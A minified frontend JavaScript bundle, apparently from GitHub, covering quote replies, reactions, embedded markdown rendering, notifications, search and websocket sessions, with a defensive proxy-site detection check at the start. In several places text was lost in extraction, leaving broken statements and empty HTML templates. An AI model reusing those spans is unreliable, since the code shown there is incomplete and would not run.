la="$__",Xo=document.querySelector("meta[name=js-proxy-site-detection-payload]"),Go=document.querySelector("meta[name=expected-hostname]");if(Xo instanceof HTMLMetaElement&&Go instanceof HTMLMetaElement&&(0,aa.Z)(document)){const e={url:window.location.href,expectedHostname:Go.content,documentHostname:document.location.hostname,proxyPayload:Xo.content},t=new Error,n={};n[`${la}`]=btoa(JSON.stringify(e)),(0,ca.eK)(t,n)}(0,j.w4)("keydown",".js-quick-submit",function(e){ua(e)});function ua(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.key==="Enter"){const n=t.form,o=n.querySelector("input[type=submit], button[type=submit]");if(e.shiftKey){const r=n.querySelector(".js-quick-submit-alternative");(r instanceof HTMLInputElement||r instanceof HTMLButtonElement)&&!r.disabled&&(0,L.Bt)(n,r)}else(o instanceof HTMLInputElement||o instanceof HTMLButtonElement)&&o.disabled||(0,L.Bt)(n);e.preventDefault()}}s(ua,"quickSubmit");var Zo=f(55498);let bt;(0,u.N7)(".js-comment-quote-reply",function(e){var t;e.hidden=((t=e.closest(".js-quote-selection-container"))==null?void 0:t.querySelector(".js-inline-comment-form-container textarea, .js-new-comment-form textarea"))==null});function Jo(e){return e.nodeName==="DIV"&&e.classList.contains("highlight")}s(Jo,"isHighlightContainer");function da(e){return e.nodeName==="IMG"||e.firstChild!=null}s(da,"hasContent");const Qo={PRE(e){const t=e.parentElement;if(t&&Jo(t)){const n=t.className.match(/highlight-source-(\S+)/),o=n?n[1]:"",r=(e.textContent||"").replace(/\n+$/,"");e.textContent=`\`\`\`${o} +${r} +\`\`\``,e.append(` + +`)}return e},A(e){const t=e.textContent||"";return e.classList.contains("user-mention")||e.classList.contains("team-mention")||e.classList.contains("issue-link")&&/^#\d+$/.test(t)?t:e},IMG(e){const t=e.getAttribute("alt");return t&&e.classList.contains("emoji")?t:e},DIV(e){if(e.classList.contains("js-suggested-changes-blob"))e.remove();else if(e.classList.contains("blob-wrapper-embedded")){const t=e.parentElement,n=t.querySelector("a[href]"),o=document.createElement("p");o.textContent=n.href,t.replaceWith(o)}return e}};function fa(e){const t=document.createNodeIterator(e,NodeFilter.SHOW_ELEMENT,{acceptNode(r){return r.nodeName in Qo&&da(r)?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),n=[];let o=t.nextNode();for(;o;)o instanceof HTMLElement&&n.push(o),o=t.nextNode();n.reverse();for(const r of n)r.replaceWith(Qo[r.nodeName](r))}s(fa,"insertMarkdownSyntax"),(0,c.on)("click",".js-comment-quote-reply",function({isTrusted:e,currentTarget:t}){const n=t.closest(".js-comment"),o=n.querySelector(".js-comment-body"),r=n.querySelector(".js-comment-body").cloneNode(!0),i=n.closest(".js-quote-selection-container"),a=o.querySelectorAll("button.js-convert-to-issue-button, span.js-clear");for(const w of a)w.remove();let l=new Zo.p;if(!e&&l.range.collapsed||(i.hasAttribute("data-quote-markdown")&&(l=new Zo.I(i.getAttribute("data-quote-markdown")||"",w=>{const S=l.range.startContainer.parentElement,R=S&&S.closest("pre");if(R instanceof HTMLElement){const I=R.parentElement;if(I&&Jo(I)){const F=document.createElement("div");F.className=I.className,F.appendChild(w),w.appendChild(F)}}fa(w)})),bt&&o.contains(bt.anchorNode)?l.range=bt.range:l.range.collapsed&&l.select(o),l.closest(".js-quote-selection-container")!==i))return;const y=l.range;i.dispatchEvent(new CustomEvent("quote-selection",{bubbles:!0,detail:l})),l.range=y;for(const w of i.querySelectorAll("textarea"))if((0,le.Z)(w)){l.insert(w);break}n.querySelector(".js-comment-body").replaceWith(r)});let vn;document.addEventListener("selectionchange",(0,P.D)(function(){const e=window.getSelection();let t;try{t=e.getRangeAt(0)}catch{vn=null;return}vn={anchorNode:e.anchorNode,range:t}},100)),document.addEventListener("toggle",()=>{bt=vn},{capture:!0});const ma=new ResizeObserver(e=>{for(const t of e)t.contentRect.height>26&&ha(t.target)});(0,u.N7)(".js-reactions-container",function(e){ma.observe(e)});function ha(e){const t=e.offsetWidth*.8,n=e.querySelectorAll(".js-reaction-group-button"),o=e.querySelector(".js-all-reactions-popover");let r=0;for(const i of n)r+=i.clientWidth;if(r+=(o==null?void 0:o.clientWidth)||0,ti?a.setAttribute("hidden","hidden"):a.removeAttribute("hidden"),i-=l}}}s(ha,"hideReactionOverflow"),(0,C.AC)(".js-pick-reaction",async function(e,t){const n=await t.json(),o=e.closest(".js-comment"),r=o.querySelector(".js-reactions-container"),i=o.querySelector(".js-comment-header-reaction-button"),a=(0,q.r)(document,n.json.reactions_container.trim()),l=(0,q.r)(document,n.json.comment_header_reaction_button.trim());r.replaceWith(a),i.replaceWith(l)});function Yo(e){const t=e.target,n=t.getAttribute("data-reaction-label"),r=t.closest(".js-add-reaction-popover").querySelector(".js-reaction-description");r.hasAttribute("data-default-text")||r.setAttribute("data-default-text",r.textContent||""),r.textContent=n}s(Yo,"showReactionContent");function er(e){const n=e.target.closest(".js-add-reaction-popover").querySelector(".js-reaction-description"),o=n.getAttribute("data-default-text");o&&(n.textContent=o)}s(er,"hideReactionContent"),(0,c.on)("toggle",".js-reaction-popover-container",function(e){const t=e.currentTarget.hasAttribute("open");for(const n of e.target.querySelectorAll(".js-reaction-option-item"))t?(n.addEventListener("mouseenter",Yo),n.addEventListener("mouseleave",er)):(n.removeEventListener("mouseenter",Yo),n.removeEventListener("mouseleave",er))},{capture:!0});var wn=f(2061);function pa(e,t,n){e.getAttribute("data-type")==="json"&&n.headers.set("Accept","application/json"),(0,c.f)(e,"deprecatedAjaxSend",{request:n}),t.text().catch(r=>{if(r.response)return r.response;throw r}).then(r=>{r.status<300?(0,c.f)(e,"deprecatedAjaxSuccess"):(0,c.f)(e,"deprecatedAjaxError",{error:r.statusText,status:r.status,text:r.text})},r=>{(0,c.f)(e,"deprecatedAjaxError",{error:r.message,status:0,text:null})}).then(()=>{(0,c.f)(e,"deprecatedAjaxComplete")})}s(pa,"submitWithLegacyEvents"),(0,c.on)("click",["form button:not([type])","form button[type=submit]","form input[type=submit]"].join(", "),function(e){const t=e.currentTarget;t.form&&!e.defaultPrevented&&(0,wn.j)(t)}),(0,C.AC)("form[data-remote]",pa),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e}){const t=(0,wn.u)(e);t&&t.remove()}),(0,C.uT)(e=>{const t=(0,wn.u)(e);t&&t.remove()}),(0,C.rK)(en.Z),(0,u.N7)(".has-removed-contents",function(){let e;return{add(t){e=Array.from(t.childNodes);for(const o of e)t.removeChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")},remove(t){for(const o of e)t.appendChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")}}});var fe=f(36162),ga=(e=>(e.Auto="auto",e.Light="light",e.Dark="dark",e))(ga||{});function ba(){return window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"}s(ba,"getUserSystemColorMode");const En=".js-render-plaintext";function ya(e){const t=e.closest(".js-render-needs-enrichment");if(!t)return;t.querySelector(En)&&Ln(t,!1)}s(ya,"markdownEnrichmentSuccess");function va(e,t){Ln(e,!1),tr(e,!0),e.classList.add("render-error");const n=e.querySelector(En);if(!n)return;n.classList.remove("render-plaintext-hidden");const o=n.querySelector("pre");(0,fe.sY)(fe.dy`${t} ${o}`,n)}s(va,"showMarkdownRenderError");function Ln(e,t){const n=e.getElementsByClassName("js-render-enrichment-loader")[0],o=e.getElementsByClassName("render-expand")[0];n&&(n.hidden=!t),o&&(o.hidden=t)}s(Ln,"setCodeBlockLoaderVisibility");function tr(e,t){const n=e.querySelector(En);t?n.classList.remove("render-plaintext-hidden"):n.classList.add("render-plaintext-hidden")}s(tr,"setRawCodeBlockVisibility");class nr{constructor(t){this.el=t,this.enrichmentTarget=t.getElementsByClassName("js-render-enrichment-target")[0],this.iframeUrl=this.getIframeUrl(),this.identifier=this.el.getAttribute("data-identity"),this.iframeContentType=this.el.getAttribute("data-type"),this.iframeOrigin=new URL(this.iframeUrl,window.location.origin).origin,this.iframeContent=this.el.getAttribute("data-content"),Ln(this.el,!0)}enrich(){const t=this.createDialog();(0,fe.sY)(t,this.enrichmentTarget),this.setupModal()}getIframeUrl(){const t=(0,U.c)("GEOJSON_AZURE_MAPS"),n=this.el.getAttribute("data-src"),o=this.el.getAttribute("data-enterprise"),r={...this.colorMode(),azure_maps_enabled:t,enterprise_enable:o},i=Object.entries(r).map(([a,l])=>`${a}=${l}`).join("&");return`${n}?${i}`}colorMode(){var t;let n=(t=document.querySelector("html"))==null?void 0:t.getAttribute("data-color-mode");return(n==="auto"||!n)&&(n=ba()),{color_mode:n}}setupModal(){const t=this.generateIframeCode("-fullscreen"),n=this.el.querySelector(".Box-body");this.el.querySelector(".js-full-screen-render").addEventListener("click",()=>{(0,fe.sY)(t,n)})}createDialog(){const t=this.generateIframeCode();return fe.dy`
    +
    + + +
    + +
    +
    +
    +
    + ${t} +
    `}generateIframeCode(t=""){const n=this.identifier+t,o=`${this.iframeUrl}#${n}`;return fe.dy` +
    + +
    + `}}s(nr,"EnrichableMarkdownRenderer"),(0,u.N7)(".js-render-needs-enrichment",function(e){const t=e;new nr(t).enrich()}),(0,c.on)("preview:toggle:off",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment"),o=n==null?void 0:n.querySelector(".js-render-enrichment-target");!o||(o.innerHTML="")}),(0,c.on)("preview:rendered",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment");n&&tr(n,!1)});const cu=null,yt=["is-render-pending","is-render-ready","is-render-loading","is-render-loaded"],wa=["is-render-ready","is-render-loading","is-render-loaded","is-render-failed","is-render-failed-fatally"],Ue=new WeakMap;function or(e){const t=Ue.get(e);t!=null&&(t.load=t.hello=null,t.helloTimer&&(clearTimeout(t.helloTimer),t.helloTimer=null),t.loadTimer&&(clearTimeout(t.loadTimer),t.loadTimer=null))}s(or,"resetTiming");function Je(e,t=""){var n;e.classList.remove(...yt),e.classList.add("is-render-failed");const o=La(t),r=(n=e.parentElement)==null?void 0:n.closest(".js-render-needs-enrichment");r?va(r,o):Ea(e,o),or(e)}s(Je,"renderFailed");function Ea(e,t){const n=e.querySelector(".render-viewer-error");n&&(n.remove(),e.classList.remove("render-container"),(0,fe.sY)(t,e))}s(Ea,"fileRenderError");function La(e){let t=fe.dy`

    Unable to render code block

    `;if(e!==""){const n=e.split(` +`);t=fe.dy`

    Error rendering embedded code

    +

    ${n.map(o=>fe.dy`${o}
    `)}

    `}return fe.dy`
    ${t}
    `}s(La,"renderError");function rr(e,t=!1){var n;!(0,le.Z)(e)||e.classList.contains("is-render-ready")||e.classList.contains("is-render-failed")||e.classList.contains("is-render-failed-fatally")||t&&!((n=Ue.get(e))==null?void 0:n.hello)||Je(e)}s(rr,"timeoutWatchdog"),(0,u.N7)(".js-render-target",function(e){var t;const n=e;n.classList.remove(...wa),n.style.height="auto",!((t=Ue.get(e))==null?void 0:t.load)&&(or(e),!Ue.get(e)&&(Ue.set(e,{load:Date.now(),hello:null,helloTimer:window.setTimeout(rr,1e4,e,!0),loadTimer:window.setTimeout(rr,45e3,e)}),e.classList.add("is-render-automatic","is-render-requested")))});function vt(e,t){e&&e.postMessage&&e.postMessage(JSON.stringify(t),"*")}s(vt,"postAsJson");function ja(e){let t=e.data;if(!t)return;if(typeof t=="string")try{t=JSON.parse(t)}catch{return}if(t.type!=="render"||typeof t.identity!="string")return;const n=t.identity;if(typeof t.body!="string")return;const o=t.body;let r=null;for(const w of document.querySelectorAll(".js-render-target"))if(w.getAttribute("data-identity")===n){r=w;break}if(!r||e.origin!==r.getAttribute("data-host"))return;const i=t.payload!=null?t.payload:void 0,a=r.querySelector("iframe"),l=a==null?void 0:a.contentWindow;function y(){const w=a==null?void 0:a.getAttribute("data-content");if(!w)return;const S={type:"render:cmd",body:{cmd:"code_rendering_service:data:ready","code_rendering_service:data:ready":{data:JSON.parse(w).data,width:r==null?void 0:r.getBoundingClientRect().width}}};vt(l,S)}switch(s(y,"postData"),o){case"hello":{const w=Ue.get(r)||{untimed:!0};w.hello=Date.now();const S={type:"render:cmd",body:{cmd:"ack",ack:!0}},R={type:"render:cmd",body:{cmd:"branding",branding:!1}};if(!l)return;vt(l,S),vt(l,R)}break;case"error":i?Je(r,i.error):Je(r);break;case"error:fatal":{Je(r),r.classList.add("is-render-failed-fatal");break}case"error:invalid":Je(r),r.classList.add("is-render-failed-invalid");break;case"loading":r.classList.remove(...yt),r.classList.add("is-render-loading");break;case"loaded":r.classList.remove(...yt),r.classList.add("is-render-loaded");break;case"ready":ya(r),r.classList.remove(...yt),r.classList.add("is-render-ready"),i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`,location.hash!==""&&window.dispatchEvent(new HashChangeEvent("hashchange")));break;case"resize":i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`);break;case"code_rendering_service:container:get_size":vt(l,{type:"render:cmd",body:{cmd:"code_rendering_service:container:size","code_rendering_service:container:size":{width:r==null?void 0:r.getBoundingClientRect().width}}});break;case"code_rendering_service:markdown:get_data":if(!l)return;y();break;default:break}}s(ja,"handleMessage"),window.addEventListener("message",ja),(0,C.AC)("form[data-replace-remote-form]",async function(e,t){e.classList.remove("is-error"),e.classList.add("is-loading");try{let n=e;const o=await t.html(),r=e.closest("[data-replace-remote-form-target]");if(r){const i=r.getAttribute("data-replace-remote-form-target");n=i?document.getElementById(i):r}n.replaceWith(o.html)}catch{e.classList.remove("is-loading"),e.classList.add("is-error")}}),PerformanceObserver&&(PerformanceObserver.supportedEntryTypes||[]).includes("longtask")&&new PerformanceObserver(function(t){const n=t.getEntries().map(({name:o,duration:r})=>({name:o,duration:r,url:window.location.href}));(0,he.b)({longTasks:n})}).observe({entryTypes:["longtask"]});const sr=new WeakMap;function Sa(e){return e.closest("markdown-toolbar").field}s(Sa,"getTextarea"),(0,c.on)("click",".js-markdown-link-button",async function({currentTarget:e}){const n=document.querySelector(".js-markdown-link-dialog").content.cloneNode(!0);if(!(n instanceof DocumentFragment))return;const o=await(0,Te.W)({content:n,labelledBy:"box-title"});e instanceof HTMLElement&&sr.set(o,Sa(e).selectionEnd)}),(0,c.on)("click",".js-markdown-link-insert",({currentTarget:e})=>{const t=e.closest("details-dialog"),n=document.querySelector(`#${e.getAttribute("data-for-textarea")}`),o=sr.get(t)||0,r=t.querySelector("#js-dialog-link-href").value,a=`[${t.querySelector("#js-dialog-link-text").value}](${r}) `,l=n.value.slice(0,o),y=n.value.slice(o);n.value=l+a+y,n.focus(),n.selectionStart=n.selectionEnd=o+a.length});var lu=f(17300);(0,c.on)("details-menu-select",".js-saved-reply-menu",function(e){if(!(e.target instanceof Element))return;const t=e.detail.relatedTarget.querySelector(".js-saved-reply-body");if(!t)return;const n=(t.textContent||"").trim(),r=e.target.closest(".js-previewable-comment-form").querySelector("textarea.js-comment-field");(0,Ee.Om)(r,n),setTimeout(()=>r.focus(),0)},{capture:!0}),(0,j.w4)("keydown",".js-saved-reply-shortcut-comment-field",function(e){(0,$e.EL)(e)==="Control+."&&(e.target.closest(".js-previewable-comment-form").querySelector(".js-saved-reply-container").setAttribute("open",""),e.preventDefault())}),(0,j.w4)("keydown",".js-saved-reply-filter-input",function(e){if(/^Control\+[1-9]$/.test((0,$e.EL)(e))){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]'),o=Number(e.key),r=n[o-1];r instanceof HTMLElement&&(r.click(),e.preventDefault())}else if(e.key==="Enter"){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]');n.length>0&&n[0]instanceof HTMLButtonElement&&n[0].click(),e.preventDefault()}});var Ta=f(29790),Aa=f(19218);function Ca(e,t){return e.querySelector(`#LC${t}`)}s(Ca,"queryLineElement");function wt(e,t,n,o){const r=(0,Ta.M9)(e,l=>Ca(t,l));if(!r)return;if(n){const l=(0,Ee.yb)(r.startContainer.textContent,r.startOffset);if(l===-1)return;r.setStart(r.startContainer,l)}if(o){const l=(0,Ee.yb)(r.endContainer.textContent,r.endOffset);if(l===-1)return;r.setEnd(r.endContainer,l)}const i=document.createElement("span"),a=["text-bold","hx_keyword-hl","rounded-2","d-inline-block"];i.classList.add(...a),(0,Aa.v)(r,i)}s(wt,"highlightRange");function ka(e,t){if(e.start.line!==e.end.line){const n={start:{line:e.start.line,column:e.start.column},end:{line:e.start.line,column:null}};wt(n,t,!0,!1);for(let r=e.start.line+1;r=0;o?n.setAttribute("aria-current","page"):n.removeAttribute("aria-current"),n.classList.toggle("selected",o)}}s(jn,"updateSelectedRepoTab"),document.addEventListener("pjax:end",jn),document.addEventListener(Se.QE.FRAME_UPDATE,jn),document.addEventListener(Se.QE.SUCCESS,jn);var ir=f(11190),Ra=f(27034),_a=f(32904);async function Pa(){return(0,C.AC)(".js-notification-shelf .js-notification-action form",async function(e,t){if(e.hasAttribute("data-redirect-to-inbox-on-submit")){await ar(t);const o=document.querySelector(".js-notifications-back-to-inbox");o&&o.click();return}(0,_a.a)(e,e),await ar(t)})}s(Pa,"remoteShelfActionForm");function Ia(){const e=new URLSearchParams(window.location.search),t=(0,ir.n)(e);if(t){const n=new URL(window.location.href,window.location.origin);return n.search=t.toString(),n.toString()}}s(Ia,"urlWithoutNotificationParameters");function Da(e){if(!(e instanceof Ra.Z))return;const t=(0,ir.I)();if(!t)return;const n=e.getAttribute("data-base-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search);for(const[i,a]of Object.entries(t))typeof a=="string"&&r.set(i,a);o.search=r.toString(),e.setAttribute("src",o.toString())}s(Da,"loadShelfFromStoredParams");async function ar(e){try{await e.text()}catch{}}s(ar,"performRequest"),Pa();function cr(){const e=Ia();e&&(0,E.lO)(null,"",e)}s(cr,"removeNotificationParams"),cr(),document.addEventListener(Se.QE.SUCCESS,cr),(0,u.N7)(".js-notification-shelf-include-fragment",Da),(0,c.on)("submit",".js-mark-notification-form",async function(e){const t=e.currentTarget;e.preventDefault();try{await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}});async function lr(){await me.C;const e=document.querySelector(".js-mark-notification-form");e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(lr,"markNotificationAsRead"),document.addEventListener(Se.QE.SUCCESS,lr),lr();function Ha(e){return!!e.closest(".js-jump-to-field")}s(Ha,"isJumpToAvailable");function Sn(e,t){if(Ha(e))return;const n=document.querySelector(".js-site-search-form");document.querySelector(".js-site-search").classList.toggle("scoped-search",t);let o,r;t?(o=n.getAttribute("data-scoped-search-url"),r=e.getAttribute("data-scoped-placeholder")):(o=n.getAttribute("data-unscoped-search-url"),r=e.getAttribute("data-unscoped-placeholder")),n.setAttribute("action",o),e.setAttribute("placeholder",r)}s(Sn,"toggleSearchScope"),(0,j.w4)("keyup",".js-site-search-field",function(e){const t=e.target,n=t.value.length===0;n&&e.key==="Backspace"&&t.classList.contains("is-clearable")&&Sn(t,!1),n&&e.key==="Escape"&&Sn(t,!0),t.classList.toggle("is-clearable",n)}),(0,j.ZG)(".js-site-search-focus",function(e){const t=e.closest(".js-chromeless-input-container");t.classList.add("focus");function n(){t.classList.remove("focus"),e.value.length===0&&e.classList.contains("js-site-search-field")&&Sn(e,!0),e.removeEventListener("blur",n)}s(n,"blurHandler"),e.addEventListener("blur",n)}),(0,c.on)("submit",".js-site-search-form",function(e){if(!(e.target instanceof Element))return;const t=e.target.querySelector(".js-site-search-type-field");t.value=new URLSearchParams(window.location.search).get("type")||""});var Oa=f(54430);(0,u.N7)("textarea.js-size-to-fit",{constructor:HTMLTextAreaElement,subscribe:Oa.Z});var Tn=f(61161);(0,c.on)("click",".js-smoothscroll-anchor",function(e){const t=e.currentTarget;if(!(t instanceof HTMLAnchorElement))return;const n=(0,Tn.Kt)(document,t.hash);!n||(n.focus(),n.scrollIntoView({behavior:"smooth"}),e.preventDefault())});const Na=1e3,ur=new WeakMap,dr=document.querySelector("#snippet-clipboard-copy-button");async function Ba(e,t){const n=e.getAttribute("data-snippet-clipboard-copy-content");if(n===null||(e.removeAttribute("data-snippet-clipboard-copy-content"),!(dr instanceof HTMLTemplateElement)))return;const r=dr.content.cloneNode(!0).children[0];if(!(r instanceof HTMLElement))return;const i=r.children[0];if(!(i instanceof HTMLElement))return;i.setAttribute("value",n),document.addEventListener("selectionchange",()=>{const l=document.getSelection();if(l&&e.contains(l.anchorNode)){const y=l==null?void 0:l.toString();i.style.display=y.trim()===""?"inherit":"none"}},{signal:t});const a=e.querySelector("pre");if(a!==null){let l;a.addEventListener("scroll",()=>{l&&clearTimeout(l),i.style.display="none",l=setTimeout(()=>{i.style.display="inherit"},Na)},{signal:t})}e.appendChild(r)}s(Ba,"insertSnippetClipboardCopyButton"),(0,u.N7)("[data-snippet-clipboard-copy-content]",{constructor:HTMLElement,add(e){if(e.parentElement&&e.parentElement.classList.contains("js-no-snippet-clipboard-copy"))return;const t=new AbortController;ur.set(e,t),Ba(e,t.signal)}}),(0,u.N7)(".snippet-clipboard-content clipboard-copy",{constructor:HTMLElement,remove(e){const t=ur.get(e);t&&t.abort()}});function fr(e,t,n){mr(e,t),n&&e.classList.toggle("on");const o=Array.from(e.querySelectorAll(".js-social-updatable"),Me.x0);return Promise.all(o)}s(fr,"handleSocialResponse"),(0,C.AC)(".js-social-form",async function(e,t){var n,o;let r;const i=e.closest(".js-social-container"),a=e.classList.contains("js-deferred-toggler-target");try{r=await t.json(),i&&await fr(i,r.json.count,a)}catch(l){if(((n=l.response)==null?void 0:n.status)===409&&l.response.json.confirmationDialog){const y=l.response.json.confirmationDialog,w=document.querySelector(y.templateSelector),S=(o=e.querySelector(".js-confirm-csrf-token"))==null?void 0:o.value;if(w instanceof HTMLTemplateElement&&S){const R=new lt.R(w,{confirmUrl:e.action,confirmCsrfToken:S,...y.inputs||{}}),I=await(0,Te.W)({content:R});I.addEventListener("social-confirmation-form:success",async F=>{F instanceof CustomEvent&&i&&await fr(i,F.detail.count,a)}),I.addEventListener("social-confirmation-form:error",()=>{(0,T.v)()})}}else i&&!a&&i.classList.toggle("on"),(0,T.v)()}}),(0,C.AC)(".js-social-confirmation-form",async function(e,t){try{const n=await t.json();(0,c.f)(e,"social-confirmation-form:success",n.json)}catch{(0,c.f)(e,"social-confirmation-form:error")}});function mr(e,t){for(const n of e.querySelectorAll(".js-social-count")){n.textContent=t;const o=n.getAttribute("data-singular-suffix"),r=n.getAttribute("data-plural-suffix"),i=t==="1"?o:r;i&&n.setAttribute("aria-label",`${t} ${i}`)}}s(mr,"updateSocialCounts");var _e=f(21461);class hr extends _e.a2{constructor(t,n,o,r){super(t,()=>this.getUrlFromRefreshUrl(),o,r);this.refreshUrl=n}getUrlFromRefreshUrl(){return $a(this.refreshUrl)}}s(hr,"AliveSession");async function $a(e){const t=await Fa(e);return t&&t.url&&t.token?Ua(t.url,t.token):null}s($a,"fetchRefreshUrl");async function Fa(e){const t=await fetch(e,{headers:{Accept:"application/json"}});if(t.ok)return t.json();if(t.status===404)return null;throw new Error("fetch error")}s(Fa,"fetchJSON");async function Ua(e,t){const n=await fetch(e,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}});if(n.ok)return n.text();throw new Error("fetch error")}s(Ua,"post");const Et=[],Wa=3e4,za=0;let Lt=document.hidden,jt;function Ka(e){return e(Lt),Et.push(e),new M.w0(()=>{const t=Et.indexOf(e);t!==-1&&Et.splice(t,1)})}s(Ka,"addIdleStateListener"),document.addEventListener("visibilitychange",()=>{const e=document.hidden;jt!==void 0&&clearTimeout(jt),jt=setTimeout(()=>{if(e!==Lt){Lt=e,jt=void 0;for(const n of Et)n(Lt)}},e?Wa:za)});function Va(){return"SharedWorker"in window&&(0,$o.Z)("localStorage").getItem("bypassSharedWorker")!=="true"}s(Va,"isSharedWorkerSupported");function Xa(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket-src]"))==null?void 0:e.href)!=null?t:null}s(Xa,"workerSrc");function Ga(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.href)!=null?t:null}s(Ga,"socketUrl");function Za(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-refresh-url"))!=null?t:null}s(Za,"socketRefreshUrl");function Ja(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-session-id"))!=null?t:null}s(Ja,"sessionIdentifier");function Qa(e){return pr(e).map(t=>({subscriber:e,topic:t}))}s(Qa,"subscriptions");function pr(e){return(e.getAttribute("data-channel")||"").trim().split(/\s+/).map(_e.Zf.parse).filter(Ya)}s(pr,"channels");function Ya(e){return e!=null}s(Ya,"isPresent");function gr(e,{channel:t,type:n,data:o}){for(const r of e)r.dispatchEvent(new CustomEvent(`socket:${n}`,{bubbles:!1,cancelable:!1,detail:{name:t,data:o}}))}s(gr,"notify");class br{constructor(t,n,o,r,i){this.subscriptions=new _e.vk,this.presenceMetadata=new _e.ah,this.notifyPresenceDebouncedByChannel=new Map,this.notify=i,this.worker=new SharedWorker(t,`github-socket-worker-v2-${r}`),this.worker.port.onmessage=({data:a})=>this.receive(a),this.worker.port.postMessage({connect:{url:n,refreshUrl:o}})}subscribe(t){const n=this.subscriptions.add(...t);n.length&&this.worker.port.postMessage({subscribe:n});const o=new Set(n.map(i=>i.name)),r=t.reduce((i,a)=>{const l=a.topic.name;return(0,_e.A)(l)&&!o.has(l)&&i.add(l),i},new Set);r.size&&this.worker.port.postMessage({requestPresence:Array.from(r)})}unsubscribeAll(...t){const n=this.subscriptions.drain(...t);n.length&&this.worker.port.postMessage({unsubscribe:n});const o=this.presenceMetadata.removeSubscribers(t);this.sendPresenceMetadataUpdate(o)}updatePresenceMetadata(t){const n=new Set;for(const o of t)this.presenceMetadata.setMetadata(o),n.add(o.channelName);this.sendPresenceMetadataUpdate(n)}sendPresenceMetadataUpdate(t){if(!t.size)return;const n=[];for(const o of t)n.push({channelName:o,metadata:this.presenceMetadata.getChannelMetadata(o)});this.worker.port.postMessage({updatePresenceMetadata:n})}online(){this.worker.port.postMessage({online:!0})}offline(){this.worker.port.postMessage({online:!1})}hangup(){this.worker.port.postMessage({hangup:!0})}receive(t){const{channel:n}=t;if(t.type==="presence"){let o=this.notifyPresenceDebouncedByChannel.get(n);o||(o=(0,P.D)((r,i)=>{this.notify(r,i),this.notifyPresenceDebouncedByChannel.delete(n)},100),this.notifyPresenceDebouncedByChannel.set(n,o)),o(this.subscriptions.subscribers(n),t);return}this.notify(this.subscriptions.subscribers(n),t)}}s(br,"AliveSessionProxy");function ec(){const e=Xa();if(!e)return;const t=Ga();if(!t)return;const n=Za();if(!n)return;const o=Ja();if(!o)return;const i=s(()=>{if(Va())try{return new br(e,t,n,o,gr)}catch{}return new hr(t,n,!1,gr)},"createSession")(),a=(0,k.g)(w=>i.subscribe(w.flat())),l=(0,k.g)(w=>i.unsubscribeAll(...w)),y=(0,k.g)(w=>i.updatePresenceMetadata(w));(0,u.N7)(".js-socket-channel[data-channel]",{subscribe:w=>{const S=Qa(w),R=S.map(F=>F.topic.name).filter(F=>(0,_e.A)(F));let I={unsubscribe(){}};if(R.length){let F,X;const oe=s(()=>{const Q=[];F&&Q.push(F),X!==void 0&&Q.push({[_e.ZE]:X?1:0});for(const se of R)y({subscriber:w,channelName:se,metadata:Q})},"queueMetadataOrIdleChange");I=(0,M.qC)((0,M.RB)(w,"socket:set-presence-metadata",Q=>{const{detail:se}=Q;F=se,oe()}),Ka(Q=>{!(0,U.c)("PRESENCE_IDLE")||(X=Q,oe())}))}return a(S),I},remove:w=>l(w)}),window.addEventListener("online",()=>i.online()),window.addEventListener("offline",()=>i.offline()),window.addEventListener("pagehide",()=>{"hangup"in i&&i.hangup()})}s(ec,"connect"),(async()=>(await me.x,ec()))();const yr=new Map;function tc(e,t){const n=[];for(const o of e){const r=yr.get(o.name);r&&r.arrived>t&&n.push(r)}return n}s(tc,"stale");function nc(e,t){for(const n of e.querySelectorAll(".js-socket-channel[data-channel]"))for(const o of tc(pr(n),t))n.dispatchEvent(new CustomEvent("socket:message",{bubbles:!1,cancelable:!1,detail:{name:o.name,data:o.data,cached:!0}}))}s(nc,"dispatch");function oc(e){const{name:t,data:n,cached:o}=e.detail;if(o)return;const r={name:t,data:{...n},arrived:Date.now()};r.data.wait=0,yr.set(t,r)}s(oc,"store"),document.addEventListener("socket:message",oc,{capture:!0}),document.addEventListener("pjax:popstate",function(e){const t=e.target,n=e.detail.cachedAt;n&&setTimeout(()=>nc(t,n))}),(0,u.N7)("form.js-auto-replay-enforced-sso-request",{constructor:HTMLFormElement,initialize(e){(0,L.Bt)(e)}});var uu=f(41928);function vr(e,t,n){const o=e.getBoundingClientRect().height,r=t.getBoundingClientRect(),i=n.getBoundingClientRect();let a=i.top;a+r.height+10>=o&&(a=Math.max(o-r.height-10,0));let l=i.right;n.closest(".js-build-status-to-the-left")!=null&&(l=Math.max(i.left-r.width-10,0)),t.style.top=`${a}px`,t.style.left=`${l}px`,t.style.right="auto"}s(vr,"updateStatusPosition"),(0,c.on)("toggle",".js-build-status .js-dropdown-details",function(e){const t=e.currentTarget,n=t.querySelector(".js-status-dropdown-menu");if(!n)return;function o(){t.hasAttribute("open")||i()}s(o,"closeOnToggle");function r(a){n.contains(a.target)||i()}s(r,"closeOnScroll");function 